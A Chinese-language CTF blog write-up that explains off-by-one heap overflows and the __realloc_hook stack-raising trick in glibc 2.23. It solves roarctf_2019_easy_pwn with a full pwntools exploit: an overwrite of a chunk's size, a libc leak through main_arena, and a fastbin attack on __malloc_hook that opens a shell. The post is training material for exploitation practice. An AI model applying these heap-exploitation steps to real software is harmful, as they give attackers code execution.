heap - 13 - off_by_one && __realloc_hook

1. off-by-one 介绍

  • off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且 只越界了一个字节

  • off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关
    例如以下代码:

    1
    2
    3
    4
    5
    6
    char* note = malloc(noteSize);
    char* input = malloc(noteSize + 1);
    fgets(stdin, input, noteSize);
    // 注意下面两条代码
    if (strlen(input) <= noteSize>) // strlen计算字符串长度时不会加上'\0'
    strcpy(note, input); // 而strcpy会把'\0'一起复制过去,如此便多写入了一个字节('\0')
  • glibc中的内存管理机制ptmalloc 极度依赖 chunk的size成员,故off-by-one漏洞威力强大

  • 同时, 由于Linux 的堆管理机制 ptmalloc 验证的松散性, off-by-one 漏洞的利用难度不大

2. __realloc_hook的利用方式

  • 在说起__realloc_hook前,我们先看看__libc_realloc函数的汇编代码

  • 我们可以很容易的看到,realloc函数在一开始就会大量的抬高栈帧,然后执行__realloc_hook指向的函数(如果有的话)

  • 这种抬高栈帧的手法,我们可以用在 千辛万苦打穿__malloc_hook后,one_gadget不满足利用条件的尴尬场景

  • __malloc_hook和__realloc_hook在内存上是相邻的,所以fastbin attack修改这两个指针是比较方便的

  • 我们可以将__malloc_hook修改为 realloc函数上偏移数个字节后的地址(偏移字节取决于栈帧抬高的大小)。例如上图所示,若希望栈帧抬高0x38则设置__malloc_hook为 &realloc+16

    注意,此处所指的realloc函数为__libc_realloc,而不是_int_realloc

  • 当抬高栈帧后,满足了one_gadget的执行条件,自然就要设置执行one_gadget,所以其__realloc_hook就需要设置为one_gadget地址

    即:__malloc_hook设置为realloc地址+offset, __realloc_hook设置为one_gadget地址

3. 例题——roarctf_2019_easy_pwn

易知信息

  • 使用libc 2.23, 没有tcache :-)
  • 可以add, drop, write, print
  • 一个很明显白给的off-by-one

分析

这题做法其实和上一道fastbin attack相差不大,只是有一点点不太一样

  • 首先malloc 4个chunk, chunk size 分别为
    • 0x20
    • 0x20
    • 0x90 (unsorted chunk的最小size)
    • 0x20 (防止unsorted chunk释放时被top chunk合并)
  • 然后通过off-by-one漏洞,修改chunk1的size (chunk序号从0排列)
  • 将chunk1释放再重新malloc回来,这样就提高了chunk1的可写范围
  • 之后需要修补一下chunk2的size,为下一步free泄露main_arena地址做准备
  • free掉chunk2, 从而泄露main_arena地址。libc基地址到手,可以算one_gadget、__malloc_hook地址等
  • 之后就要准备fastbin attack打__malloc_hook上
    先把刚刚free掉的chunk2 malloc回来,然后分别修改chunk2、chunk3的size为0x71、0x21。
    修改chunk2的size是因为要把chunk2伪造为一个fast chunk,而修改chunk3的size是为了躲过free的检测
  • free掉chunk2,从而将chunk2接到了fast bin上。
  • 然后就是愉快的fastbin attack了。这里就不再赘述。

不了解fastbin attack? 看看这个

  • 查看一下可用的one_gadget 第一个one_gadget经过动态调试,发现其条件始终无法被满足 而通过动态调试,执行one_gadget时,发现栈上的数据并不理想
  • 所以我们需要用__malloc_hook打realloc函数来抬高栈帧,然后用__realloc_hook跳one_gadget来get shell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# -*- coding: utf-8 -*-
import sys
from LibcSearcher import *
from pwn import *

ELFname = "./roarctf_2019_easy_pwn"

if len(sys.argv) > 1:
io = remote("node3.buuoj.cn", sys.argv[1])
else:
io = process(ELFname)

#libc = ELF("./libc.so.6")
e = ELF(ELFname)

def debug(msg = ""):
if len(sys.argv) == 1:
gdb.attach(io, msg)

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='amd64')
context.log_level = 'debug'

def add(size):
io.sendlineafter("choice: ", "1")
io.sendlineafter("size: ", str(size))

def write(index, size, content):
io.sendlineafter("choice: ", "2")
io.sendlineafter("index: ", str(index))
io.sendlineafter("size: ", str(size))
io.sendlineafter("content: ", content)

def drop(index):
io.sendlineafter("choice: ", "3")
io.sendlineafter("index: ", str(index))

def show(index, offset):
io.sendlineafter("choice: ", "4")
io.sendlineafter("index: ", str(index))
io.recvuntil("content: ")
io.recv(offset)
data = io.recv(8)
return data

add(0x18) # 0
add(0x10) # 1
add(0x80) # 2
add(0x10) # 3

write(0, 0x18 + 10, cyclic(0x18) + p8(0xB1))

drop(1)
add(0xA0) # 1

write(1, 0x20, flat(cyclic(0x18), 0x91))
drop(2)

msg = show(1, 0x20)
in_arena_addr = u64(msg)
libcbase = in_arena_addr - (0x7fc485d20b78 - 0x7fc48595c000)
fake_chunk_addr = in_arena_addr - (0x7fc485d20b78 - 0x7fc485d20aed)

log.info("in_arena_addr: " + hex(in_arena_addr))
log.info("libcbase: " + hex(libcbase))
log.info("fake_chunk_addr: " + hex(fake_chunk_addr))

add(0x80) # 2
write(1, 0x90, flat(cyclic(0x18), 0x71, cyclic(0x60), 0, 0x21))
debug()
drop(2)

write(1, 0x28, flat(cyclic(0x18), 0x71, fake_chunk_addr))

add(0x60) # 2
add(0x60) # 4

one_gadget = libcbase + 0xf02a4
realloc_addr = libcbase + 0x846c0
write(4, 0x1b, flat(cyclic(0xb), one_gadget, realloc_addr + 16))

add(0x10) # 4

io.interactive()
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2021 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯奶茶吧~